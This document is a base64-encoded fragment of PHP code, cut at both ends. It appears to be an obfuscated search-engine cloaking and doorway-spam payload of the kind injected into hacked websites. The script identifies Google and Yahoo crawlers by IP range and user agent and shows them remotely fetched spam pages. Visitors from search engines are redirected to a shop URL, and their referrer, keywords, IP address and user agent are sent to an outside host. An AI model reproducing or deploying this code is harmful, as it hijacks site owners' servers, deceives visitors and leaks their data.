iLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIj8iLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIi4iLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIj0iLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIiYiLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQkNCgkJCQkJCQkJJHJlbW90ZV91cmwgPSAiJHd3d19yb290L3BhZ2VzLyRmYWNlLyRmaWxlbmFtZS5waHAiOw0KCQkJCQ0KCQkJCQkJCQkvLyBHRVQgVFBMDQoJCQkJCQkJCWlmIChpc19maWxlICgiY29vY2tpZXMvJGZpbGVuYW1lLnBocCIpKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWlmICgkZGVidWcpe2VjaG8gIlJlYWQgY2FjaGUgZmlsZSBmcm9tIGNvb2NraWVzLyRmaWxlbmFtZS5waHAiO30gCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCSRyZW1vdGVfdHBsID0gIGJhc2U2NF9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoImNvb2NraWVzLyRmaWxlbmFtZS5waHAiKSk7DQoJCQkJCQkJCQkJDQoJCQkJCQkJCQkJLy8gUmVtb3ZlIGNhY2hlZCBsaW5rcw0KCQkJCQkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsNCgkJCQkJCQkJCQkkcGF0dGVybiA9ICcvPFwvcD48YnI+KD9QPGNhdGVnb3J5Pi4qKWxYSEF4b3dmaEwvVXMnOw0KCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCAkcmVtb3RlX3RwbCwgJG1hdGNoZXMpOw0KCQkJCQkJCQkJCSRjb2RlID0gJG1hdGNoZXNbJ2NhdGVnb3J5J107DQoJCQkJCQkJCQkJJHJlbW90ZV90cGwgPSBzdHJfcmVwbGFjZSAoJGNvZGUsICJ8IiwgJHJlbW90ZV90cGwpOw0KCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCS8vIEluc2VydCBkeW5hbWljIGxpbmtzDQoJCQkJCQkJCQkJJGxpbmtzbGlzdF9pbnQgPSBjdXJsX211cmwoIiR3d3dfcm9vdC9wYWdlcy8kZmFjZS9saW5rcy50eHQiLCAkZGF0YT1mYWxzZSwgJGNvbW1lbnQ9J1RyeSB0byBnZXQgaW50bGlua2xpc3QnKTsNCgkJCQkJCQkJCQlpZiAoJGRlYnVnKXtlY2hvICJSZWFkIGxpbmtsaXN0IGZpbGUgZnJvbSAkd3d3X3Jvb3QvcGFnZXMvJGZhY2UvbGlua3MudHh0Ijt9DQoJCQkJCQkJCQkJJGxpbmtzbGlzdF9pbnRfYXJyYXkgPSBleHBsb2RlICgiXG4iLCAkbGlua3NsaXN0X2ludCk7DQoJCQkJCQkJCQkJJGxpbmtzbGlzdF9pbnRfYXJyYXlfbnVtID0gY291bnQoJGxpbmtzbGlzdF9pbnRfYXJyYXkpOw0KCQkJCQkJCQkJCSRsaW5rc2xpc3RfaW50ID0gIiI7DQoJCQkJCQkJCQkJc2h1ZmZsZSAoJGxpbmtzbGlzdF9pbnRfYXJyYXkpOw0KCQkJCQkJCQkJCWZvciAoJGk9MDskaTwyMDskaSsrKSANCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSRsaW5rc2xpc3RfaW50ID0gJGxpbmtzbGlzdF9pbnQuJGxpbmtzbGlzdF9pbnRfYXJyYXlbJGldOw0KCQkJCQkJCQkgICAgICAgIH0NCgkJCQkJCQkJCQkkbGlua3NsaXN0X2V4dCA9IGN1cmxfbXVybCgiJHd3d19yb290L3BhZ2VzLyRmYWNlL2Rvb3JzLnR4dCIsICRkYXRhPWZhbHNlLCAkY29tbWVudD0nVHJ5IHRvIGdldCBleHQgbGlua2xpc3QnKTsNCgkJCQkJCQkJCQlpZiAoJGRlYnVnKXtlY2hvICJSZWFkIGxpbmtsaXN0IGZpbGUgZnJvbSAkd3d3X3Jvb3QvcGFnZXMvJGZhY2UvZG9vcnMudHh0Ijt9DQoNCgkJCQkJCQkJCQkkcmVtb3RlX3RwbCA9IHN0cl9yZXBsYWNlICgifGxYSEF4b3dmaEwiLCAiJGxpbmtzbGlzdF9pbnQ8YnI+JGxpbmtzbGlzdF9leHR8bFhIQXhvd2ZoTCIsICRyZW1vdGVfdHBsKTsNCgkJCQkJCQkJCQllY2hvIGNsb2NrcGFnZSgkcmVtb3RlX3RwbCwkb3JpZ2luYWxwYWdlKS4iPCEtLSBOZXcgR0VOIEhUTUwgMy41MS4yMjggLS0+IjsNCgkJCQkJCQkJCQlleGl0KCk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQ0KCQkJCQkJCQkvLyBubyBjYWNoZQ0KCQkJCQkJCQkkcmVtb3RlX3RwbCA9IGN1cmxfbXVybCgkcmVtb3RlX3VybCwgJGRhdGE9ZmFsc2UsICRjb21tZW50PSdUcnkgdG8gZ2V0IHRhbXBsYXRlJyk7DQoJCQkJCQkJCSRyZW1vdGVfdHBsX2VuYyA9IGJhc2U2NF9lbmNvZGUgKCRyZW1vdGVfdHBsKTsNCgkJCQkJCQkJDQoJCQkJCQkJCWlmICgkZGVidWcpe2VjaG8gIjxicj5JJ20gR09PTEUgQk9UIDopPGJyPnJlbW90ZV90cGw9L3BhZ2VzLyRmYWNlLyRmaWxlbmFtZS5waHA8YnI+Ijt9DQoJCQkJCQkJCQ0KCQkJCQkJCQkvLyBubyBUUEwNCgkJCQkJCQkJaWYgKCRyZW1vdGVfdHBsPT0iZXJyb3IiKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWlmICgoJHNlcnZlcl9yZXF1ZXN0PT0iIikgfHwgKCRzZXJ2ZXJfcmVxdWVzdD09Ii8iKSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJJG9yaWdpbmFsdXJsID0gImh0dHA6Ly8kaG9zdC9pbmRleCI7CQ0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJJGRhdGEgPSBhcnJheSgNCgkJCQkJCQkJCQkJJ3JlbW90ZV91cmwnID0+ICRvcmlnaW5hbHVybCwgDQoJCQkJCQkJCQkJCSd1c2VyYWdlbnQnID0+ICRzZXJ2ZXJfdXNlcl9hZ2VudA0KCQkJCQkJCQkJCSk7DQoJCQkJCQkJDQoJCQkJCQkJCQkJLy8gR2VuZXJhdGUgbmV3IFRQTA0KCQkJCQkJCQkJCWlmICgkZGVidWcpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJCWVjaG8gY3VybF9tdXJsKCRnZW5lcmF0b3IsJGRhdGEsICRjb21tZW50PSdUcnkgdG8gZ2VuZXJhdGUgbmV3IHRlbXBsYXRlJyk7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQljdXJsX211cmwoJGdlbmVyYXRvciwkZGF0YSwkY29tbWVudD0nVHJ5IHRvIGdlbmVyYXRlIG5ldyB0ZW1wbGF0ZScpOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJDQoJCQkJCQkJCQkJLy8vLy8vLy8vLy8vLy8gR0VUIFRQTA0KCQkJCQkJCQkJCSRyZW1vdGVfdHBsID0gY3VybF9tdXJsKCRyZW1vdGVfdXJsLCAkZGF0YT1mYWxzZSwgJGNvbW1lbnQ9J1RyeSB0byBnZXQgdGVtcGxhdGUgYWdhaW4nKTsNCgkJCQkJCQkJCQkkcmVtb3RlX3RwbF9lbmMgPSBiYXNlNjRfZW5jb2RlICgkcmVtb3RlX3RwbCk7DQoJCQkJCQkJCQkJCWlmICgkcmVtb3RlX3RwbD09ImVycm9yIikNCgkJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJCQkvLyBTb21ldGhpbmcgd3JvbmcNCgkJCQkJCQkJCQkJCQllY2hvICRvcmlnaW5hbHBhZ2VvdXQuIjwhLS0gTkVFRCBIVE1MIDMuNTEuMjI4IC0tPiI7DQoJCQkJCQkJCQkJCQkJZXhpdCgpOwkJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJCQkvLyBOZXcgVFBMIGdlbmVyYXRlZCBzdWNjZXNzZnVsbHkNCgkJCQkJCQkJCQkJCQlpZiAoZXJlZ2koIjM5MTg3MzYiLCRyZW1vdGVfdHBsKSkNCgkJCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCQkJJGNsb2NrID0gJHJlbW90ZV90cGw7DQoJCQkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJCQkkY2xvY2sgPSBjbG9ja3BhZ2UoJHJlbW90ZV90cGwsJG9yaWdpbmFscGFnZSk7DQoJCQkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJCQkvLyRjbG9jayA9IGNsb2NrcGFnZSgkcmVtb3RlX3RwbCwkb3JpZ2luYWxwYWdlKTsNCgkJCQkJCQkJCQkJCQlwcmludCAkY2xvY2suIjwhLS0gTmV3IEdFTiBIVE1MIDMuNTEuMjI4IC0tPiI7DQoJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCQkJaWYgKCRkZWJ1ZykNCgkJCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCQkJZWNobyAiU2F2ZSBjYWNoZSBmaWxlIGF0IGNvb2NraWVzLyRmaWxlbmFtZS5waHAiOw0KCQkJCQkJCQkJCQkJCQl9IA0KCQkJCQkNCgkJCQkJCQkJCQkJCQlpZiAoIWlzX2RpcigiY29vY2tpZXMiKSkNCgkJCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCQkJQG1rZGlyICgiY29vY2tpZXMiLCAwNzU1KTsNCgkJCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkJCQkJJGZwID0gZm9wZW4oImNvb2NraWVzLyRmaWxlbmFtZS5waHAiLCAidyIpOyANCgkJCQkJCQkJCQkJCQkJCWZwdXRzKCRmcCwkcmVtb3RlX3RwbF9lbmMpOw0KCQkJCQkJCQkJCQkJCQkJZmNsb3NlKCRmcCk7CQ0KCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCQkJZXhpdCgpOwkJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCXsNCgkJCQkJCQkJCQlpZiAoJGRlYnVnKQ0KCQkJCQkJCQkJCQl7ZWNobyAiU2F2ZSBjYWNoZSBmaWxlIGF0IGNvb2NraWVzLyRmaWxlbmFtZS5waHAiO30gDQoJCQ0KCQkJCQkJCQkJCWlmICghaXNfZGlyKCJjb29ja2llcyIpKQ0KCQkJCQkJCQkJCQl7QG1rZGlyICgiY29vY2tpZXMiLCAwNzU1KTt9DQoJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCSRmcCA9IGZvcGVuKCJjb29ja2llcy8kZmlsZW5hbWUucGhwIiwgInciKTsgDQoJCQkJCQkJCQkJZnB1dHMoJGZwLCRyZW1vdGVfdHBsX2VuYyk7DQoJCQkJCQkJCQkJZmNsb3NlKCRmcCk7DQoJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJLy8gT2xkDQoJCQkJCQkJCQkJaWYgKHByZWdfbWF0Y2goJy88ZGl2fGRpdj4vaScsICRyZW1vdGVfdHBsKSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJZWNobyAkcmVtb3RlX3RwbC4iPCEtLSBPbGQgSFRNTCAzLjUxLjIyOCAtLT4iOw0KCQkJCQkJCQkJCQkJZXhpdCgpOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJLy8gTmV3IHN0eWxlDQoJCQkJCQkJCQkJaWYgKHByZWdfbWF0Y2goJy9sWEhBeG93ZmhML2knLCAkcmVtb3RlX3RwbCkpDQoJCQkJCQkJCQkJCXsJDQoJCQkJCQkJCQkJCQkkY2xvY2sgPSBjbG9ja3BhZ2UoJHJlbW90ZV90cGwsJG9yaWdpbmFscGFnZSk7CQkJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQkJcHJpbnQgJGNsb2NrLiI8IS0tIE5ldyBIVE1MIDMuNTEuMjI4IC0tPiI7DQoJCQkJCQkJCQkJCQlleGl0KCk7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJLy8gc2hvcnQgcmVmZXJyZXIgZnJvbSBTRS4gUmVkaXJlY3QgYW55d2F5DQoJCQkJCWlmICgoc3RybGVuKCRzZXJ2ZXJfcmVmZXJlcikgPCAzMCkgQU5EIChwcmVnX21hdGNoKCcvZ29vZ2xlL2knLCAkc2VydmVyX3JlZmVyZXIpKSkNCgkJCQkJCXsNCgkJCQkJCQkkbG9jYXRpb24gPSAkc2hvcDsNCgkJCQkJCQloZWFkZXIoIkxvY2F0aW9uOiAiLiRsb2NhdGlvbik7DQoJCQkJCQkJZXhpdDsJCQkJCQkJDQoJCQkJCQl9DQoNCgkJCQkJLy8gS2V5d29yZHMgaW4gcmVmZXJyZXINCgkJCQkJLy9pZiAocHJlZ19tYXRjaCgka2V5cywgJHNlcnZlcl9yZWZlcmVyKSkgDQoJCQkJCWlmIChwcmVnX21hdGNoKCIvZ29vZ2xlL2kiLCAkc2VydmVyX3JlZmVyZXIpKSANCgkJCQkJCXsNCgkJCQkJCQkka2V5ID0gJHNlcnZlcl9yZWZlcmVyOw0KCQkJCQkJCSRzZXNlPSJ1bmtub3duIjsNCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgiL3lhaG9vL2kiLCAkc2VydmVyX3JlZmVyZXIpKQ0KCQkJCQkJCQl7DQoJCQkJCQkJCQkka2V5c3MgPSBleHBsb2RlICgicD0iLCAkc2VydmVyX3JlZmVyZXIpOw0KCQkJCQkJCQkJJGtleXNzID0gZXhwbG9kZSAoIiYiLCAka2V5c3NbMV0pOw0KCQkJCQkJCQkJJGtleSA9ICRrZXlzc1swXTsJCQ0KCQkJCQkJCQkJJHNlc2U9InlhaG9vIjsNCgkJCQkJCQkJfQ0KCQkJCQkJCWlmIChwcmVnX21hdGNoKCIvZ29vZ2xlL2kiLCAkc2VydmVyX3JlZmVyZXIpKQ0KCQkJCQkJCQl7DQoJCQkJCQkJCQkka2V5c3MgPSBleHBsb2RlICgicT0iLCAkc2VydmVyX3JlZmVyZXIpOw0KCQkJCQkJCQkJJGtleXNzID0gZXhwbG9kZSAoIiYiLCAka2V5c3NbMV0pOw0KCQkJCQkJCQkJJGtleSA9ICRrZXlzc1swXTsNCgkJCQkJCQkJCSRzZXNlPSJnb29nbGUiOwkNCgkJCQkJCQkJfQkNCgkJCQkJCQkJDQoJCQkJCQkJCSRrZXkgPSBzdHJfcmVwbGFjZSgiKyIsIiAiLCRrZXkpOw0KCQkJCQkJCQkka2V5ID0gc3RyX3JlcGxhY2UoIiUyMCIsIiAiLCRrZXkpOw0KCQkJCQkJCQkka2V5ID0gc3RyX3JlcGxhY2UoIiUyMiIsIiIsJGtleSk7DQoJCQkJCQkJCSRrZXkgPSBzdHJfcmVwbGFjZSgiJTI3IiwiJyIsJGtleSk7DQoJCQkJCQkJCSRrZXkgPSBzdHJfcmVwbGFjZSgiJTI4IiwiIiwka2V5KTsNCgkJCQkJCQkJJGtleSA9IHN0cl9yZXBsYWNlKCIlMjkiLCIiLCRrZXkpOw0KCQkJCQkJCQkka2V5ID0gc3RyX3JlcGxhY2UoIiUzQSIsIjoiLCRrZXkpOwkNCgkJCQkJCQkJJGtleSA9IHN0cl9yZXBsYWNlKCIlM0YiLCIiLCRrZXkpOw0KCQkJCQkJCQkka2V5ID0gc3RyX3JlcGxhY2UoIiUyRiIsIi8iLCRrZXkpOw0KCQkJCQkJCQkka2V5ID0gc3RyX3JlcGxhY2UoIiUyQyIsIiIsJGtleSk7CQ0KCQkJCQkJCQkka2V5ID0gc3RyX3JlcGxhY2UoIiUyQiIsIiIsJGtleSk7DQoJCQkJCQkJCSRrZXkgPSBzdHJfcmVwbGFjZSgiJTI2IiwiIiwka2V5KTsNCgkJCQkJCQkJJGtleSA9IHN0cl9yZXBsYWNlKCIlM0IiLCIiLCRrZXkpOwkNCg0KCQkJCQkJCQkkc3RyaW5nID0gc3RyX3JlcGxhY2UgKCIgIiwgIisiLCAka2V5KTsNCgkJCQkJCQkJaWYgKCghcHJlZ19tYXRjaCgka2V5cywgJHN0cmluZykpIEFORCAoc3RybGVuKCRzdHJpbmcpPjIpKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJZWNobyAka2V5czsNCgkJCQkJCQkJCWVjaG8gJG9yaWdpbmFscGFnZW91dDsNCgkJCQkJCQkJCWV4aXQoKTsNCgkJCQkJCQkJCX0JCQkJCQkJCQ0KCQ0KCQkJCQkJCQkkZGF0YSA9IGFycmF5KA0KCQkJCQkJCQknZG9tYWluJyA9PiAkZmFjZSwgDQoJCQkJCQkJCSd1cmknID0+ICRzZXJ2ZXJfcmVxdWVzdCwNCgkJCQkJCQkJJ3NlJyA9PiAkc2VzZSwNCgkJCQkJCQkJJ3JlZmVycmVyJyA9PiAkc2VydmVyX3JlZmVyZXIsDQoJCQkJCQkJCSdhZ2VudCcgPT4gJGFnZW50LA0KCQkJCQkJCQknc2VydmVyX3JlbW90ZV9hZGRyJyA9PiAkc2VydmVyX3JlbW90ZV9hZGRyLA0KCQkJCQkJCQkna2V5cycgPT4gJGtleQ0KCQkJCQkJCQkpOw0KCQ0KCQkJCQkJCQljdXJsX211cmwoJGh1bWFuLCRkYXRhKTsNCgkJCQkJCQkJDQoJCQkJCQkJCSRsb2NhdGlvbiA9ICRzaG9wOw0KCQkJCQkJCQloZWFkZXIoIkxvY2F0aW9uOiAiLiRsb2NhdGlvbik7DQoJCQkJCQkJCWV4aXQ7DQoJCQkJCQkJfQ0KDQoJCQkJCX0NCgkJCQkJDQoJCQkJCWVjaG8gJG9yaWdpbmFscGFnZW91dDsNCgkJCQkJZXhpdDsJCQkJCQ0KCQkJCQkNCmZ1bmN0aW9uIGRldGVjdEJvdCgkc2VydmVyX3VzZXJfYWdlbnQsJHNlcnZlcl9yZW1vdGVfYWRkcil7DQogICAgDQoJJGlzX2h1bWFuID0gdHJ1ZTsNCgkNCgkkc3RvcF9pcHNfbWFza3MgPSBhcnJheSgNCgkJIi9eOFwuNlwuNFs4LTldXC5bMC05XSskLyIsCQkJCS8vIE5ldFJhbmdlOgk4LjYuNDguMCAtIDguNi41NS4yNTUJCQlHb29nbGUgSW5jDQoJCSIvXjhcLjZcLjVbMC01XVwuWzAtOV0rJC8iLAkJCQkvLyBOZXRSYW5nZToJOC42LjQ4LjAgLSA4LjYuNTUuMjU1CQkJR29vZ2xlIEluYw0KCQkiL142NFwuMjMzXC4xWzYtOF1bMC05XVwuWzAtOV0rJC8iLAkJLy8gTmV0UmFuZ2U6CTY0LjIzMy4xNjAuMCAtIDY0LjIzMy4xOTEuMjU1CUdvb2dsZSBJbmMNCgkJIi9eNjRcLjIzM1wuMTlbMC0xXVwuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgk2NC4yMzMuMTYwLjAgLSA2NC4yMzMuMTkxLjI1NQlHb29nbGUgSW5jDQoJCSIvXjY0XC42OFwuOFswLTddXC5bMC05XSskLyIsCQkJLy8gTmV0UmFuZ2U6CTY0LjY4LjgwLjAgLSA2NC42OC44Ny4yNTUJCUdvb2dsZSBJbmMNCgkJIi9eNjZcLjI0OVwuNls0LTldXC5bMC05XSskLyIsCQkJLy8gTmV0UmFuZ2U6CTY2LjI0OS42NC4wIC0gNjYuMjQ5Ljk1LjI1NQkJR29vZ2xlIEluYw0KCQkiL142NlwuMjQ5XC5bNy04XVswLTldXC5bMC05XSskLyIsCQkvLyBOZXRSYW5nZToJNjYuMjQ5LjY0LjAgLSA2Ni4yNDkuOTUuMjU1CQlHb29nbGUgSW5jDQoJCSIvXjY2XC4yNDlcLjlbMC01XVwuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgk2Ni4yNDkuNjQuMCAtIDY2LjI0OS45NS4yNTUJCUdvb2dsZSBJbmMNCiAgICAgICAgIi9eNzJcLjE0XC4xOVsyLTldXC5bMC05XSskLyIsCQkJLy8gTmV0UmFuZ2U6CTcyLjE0LjE5Mi4wIC0gNzIuMTQuMjU1LjI1NQkJR29vZ2xlIEluYw0KICAgICAgICAiL143MlwuMTRcLjJbMC01XVswLTldXC5bMC05XSskLyIsCQkvLyBOZXRSYW5nZToJNzIuMTQuMTkyLjAgLSA3Mi4xNC4yNTUuMjU1CQlHb29nbGUgSW5jDQogICAgICAgICIvXjc0XC4xMjVcLlswLTldK1wuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgk3NC4xMjUuMC4wIC0gNzQuMTI1LjI1NS4yNTUJCUdvb2dsZSBJbmMNCgkJIi9eNzRcLjZcLlswLTldK1wuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgk3NC42LjAuMCAtIDc0LjYuMjU1LjI1NQkJCUdvb2dsZSBJbmMNCgkJIi9eMjE2XC4yMzlcLjNbMi05XVwuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgkyMTYuMjM5LjMyLjAgLSAyMTYuMjM5LjYzLjI1NQlHb29nbGUgSW5jDQoJCSIvXjIxNlwuMjM5XC40WzAtOV1cLlswLTldKyQvIiwJCQkvLyBOZXRSYW5nZToJMjE2LjIzOS4zMi4wIC0gMjE2LjIzOS42My4yNTUJR29vZ2xlIEluYw0KCQkiL14yMTZcLjIzOVwuNlswLTNdXC5bMC05XSskLyIsCQkJLy8gTmV0UmFuZ2U6CTIxNi4yMzkuMzIuMCAtIDIxNi4yMzkuNjMuMjU1CUdvb2dsZSBJbmMNCgkJIi9eMjA5XC44NVwuMTJbOC05XVwuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgkyMDkuODUuMTI4LjAgLSAyMDkuODUuMjU1LjI1NQlHb29nbGUgSW5jDQoJCSIvXjIwOVwuODVcLjFbMy05XVswLTldXC5bMC05XSskLyIsCQkvLyBOZXRSYW5nZToJMjA5Ljg1LjEyOC4wIC0gMjA5Ljg1LjI1NS4yNTUJR29vZ2xlIEluYw0KCQkiL14yMDlcLjg1XC4yWzAtNV1bMC05XVwuWzAtOV0rJC8iLAkJLy8gTmV0UmFuZ2U6CTIwOS44NS4xMjguMCAtIDIwOS44NS4yNTUuMjU1CUdvb2dsZSBJbmMNCgkJIi9eNjRcLjlcLjIyWzQtOV1cLlswLTldKyQvIiwJCQkvLyBOZXRSYW5nZToJNjQuOS4yMjQuMCAtIDY0LjkuMjU1LjI1NQkJR29vZ2xlIEluYw0KCQkiL142NFwuOVwuMlszLTRdWzAtOV1cLlswLTldKyQvIiwJCS8vIE5ldFJhbmdlOgk2NC45LjIyNC4wIC0gNjQuOS4yNTUuMjU1CQlHb29nbGUgSW5jDQoJCSIvXjY0XC45XC4yNVswLTVdXC5bMC05XSskLyIsCQkJLy8gTmV0UmFuZ2U6CTY0LjkuMjI0LjAgLSA2NC45LjI1NS4yNTUJCUdvb2dsZSBJbmMNCgkJIi9eNjZcLjEwMlwuWzAtOV1cLlswLTldKyQvIiwJCQkvLyBOZXRSYW5nZToJNjYuMTAyLjAuMCAtIDY2LjEwMi4xNS4yNTUJCUdvb2dsZSBJbmMNCgkJIi9eNjZcLjEwMlwuMVswLTVdXC5bMC05XSskLyIsCQkJLy8gTmV0UmFuZ2U6CTY2LjEwMi4wLjAgLSA2Ni4xMDIuMTUuMjU1CQlHb29nbGUgSW5jCQkNCgkJIi9eMTM3XC4xMTBcLlswLTldK1wuWzAtOV0rJC8iLAkJCS8vIE5ldFJhbmdlOgkxMzcuMTEwLjIyMi4qCQkJCQlHb29nbGUgYm90DQoJCSIvXjIwOVwuMTkwXC4yMFwuWzAtOV0rJC8iLA0KCQkiL140NlwuMzdcLjE4NFwuWzAtOV0rJC8iLA0KCQkiL145NVwuMjExXC4xMjlcLlswLTldKyQvIiwNCgkJIi9eOTVcLjIxMVwuMTI4XC5bMC05XSskLyIsCQkNCgkJIi9eMTA4XC4xNzBcLjhcLlswLTldKyQvIgkJDQogICAgKTsNCg0KCSRzdG9wX2lwc19tYXNrc19jb3VudCA9IGNvdW50ICgkc3RvcF9pcHNfbWFza3MpOw0KCQ0KCWZvcigkdz0wOyAkdzwkc3RvcF9pcHNfbWFza3NfY291bnQ7ICR3KyspDQoJCXsNCgkJCWlmKHByZWdfbWF0Y2goJHN0b3BfaXBzX21hc2tzWyR3XSwgJHNlcnZlcl9yZW1vdGVfYWRkcikpDQoJCQkJew0KICAgIAkgICAgCQkkaXNfaHVtYW4gPSBmYWxzZTsgIGJyZWFrOw0KCSAgICAJICAgIH0NCgkJfSANCgkJDQoJJHN0b3BfYWdlbnRzX21hc2tzID0gIi9nb29nbGV8eWFob28vaSI7DQoJaWYgKHByZWdfbWF0Y2goJHN0b3BfYWdlbnRzX21hc2tzLCAkc2VydmVyX3VzZXJfYWdlbnQpKSANCgkJew0KCQkJJGlzX2h1bWFuID0gZmFsc2U7DQoJCX0NCg0KICAgIHJldHVybiAkaXNfaHVtYW47DQp9DQoNCgkJCQkJZnVuY3Rpb24gY3VybF9tdXJsKCR1cmwsJGRhdGE9ZmFsc2UsICRjb21tZW50PScnKQ0KCQkJCQkJew0KCQkJCQkJCWdsb2JhbCAkZGVidWcsICRob3N0LCAkc2VydmVyX3VzZXJfYWdlbnQ7DQoJCQkJCQkNCgkJCQkJCQkkY2ggPSBjdXJsX2luaXQoKTsNCgkJCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCgkJCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCgkJCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCQkJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTUpOw0KCQkJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAgICAgICAgMTUpOw0KCQkJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRUZFUkVSLCAgICAgICAgImh0dHA6Ly8kaG9zdC8iKTsNCgkgICAgICAgIAkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjE7IHJ2OjE0LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTQuMC4xIik7DQoJCQkJCSAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCgkJCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFLCAgICAgICAgIHRydWUpOw0KCQkJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICAgICAgImNvb2NraWVzLnR4dCIpOw0KCQkJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAgICAgImNvb2NraWVzLnR4dCIpOwkJCQkJCQkNCgkJCQkJCQkNCgkJCQkJCQlpZiAoJGRhdGEpDQoJCQkJCQkJCXsNCgkJCQkJCQkJCS8vcHJpbnRfciAoJGRhdGEpOw0KCQkJCQkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KCQkJCQkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsNCgkJCQkJCQkJfQ0KCQkJCQkJCQ0KCQkJCQkJCSRodG1sID0gY3VybF9leGVjKCRjaCk7DQoJCQkJCQkJJGluZm8gPSBjdXJsX2dldGluZm8oJGNoKTsNCgkJCQkJCQkvL3JldHVybiAkaHRtbDsNCgkJCQkJCQlpZiAoJGRlYnVnKSB7ZWNobyAiPGJyPigkY29tbWVudCkgPGI+c3RhdHVzPC9iPjoiLiRpbmZvWydodHRwX2NvZGUnXS4iPGJyPiI7fQ0KICAJCQkJCQkJaWYgKCRpbmZvWydodHRwX2NvZGUnXSA9PSAiMjAwIil7cmV0dXJuICRodG1sO31lbHNle3JldHVybiAiZXJyb3IiO30NCgkJCQkJCX0NCgkJCQkJCQ0KCQkJCQkJCQlmdW5jdGlvbiBjbG9ja3BhZ2UoJHJlbW90ZV90cGwsJG9yaWdpbmFscGFnZSkNCgkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJCSRvcmlnaW5hbHBhZ2UgPSBzdHJfcmVwbGFjZSAoIjx0aXRsZSA+IiwgIjx0aXRsZT4iLCAkb3JpZ2luYWxwYWdlKTsNCg0KCQkJCQkJCQkJCQkJJHJlbW90ZV90cGwgPSBleHBsb2RlICgifCIsICRyZW1vdGVfdHBsKTsNCg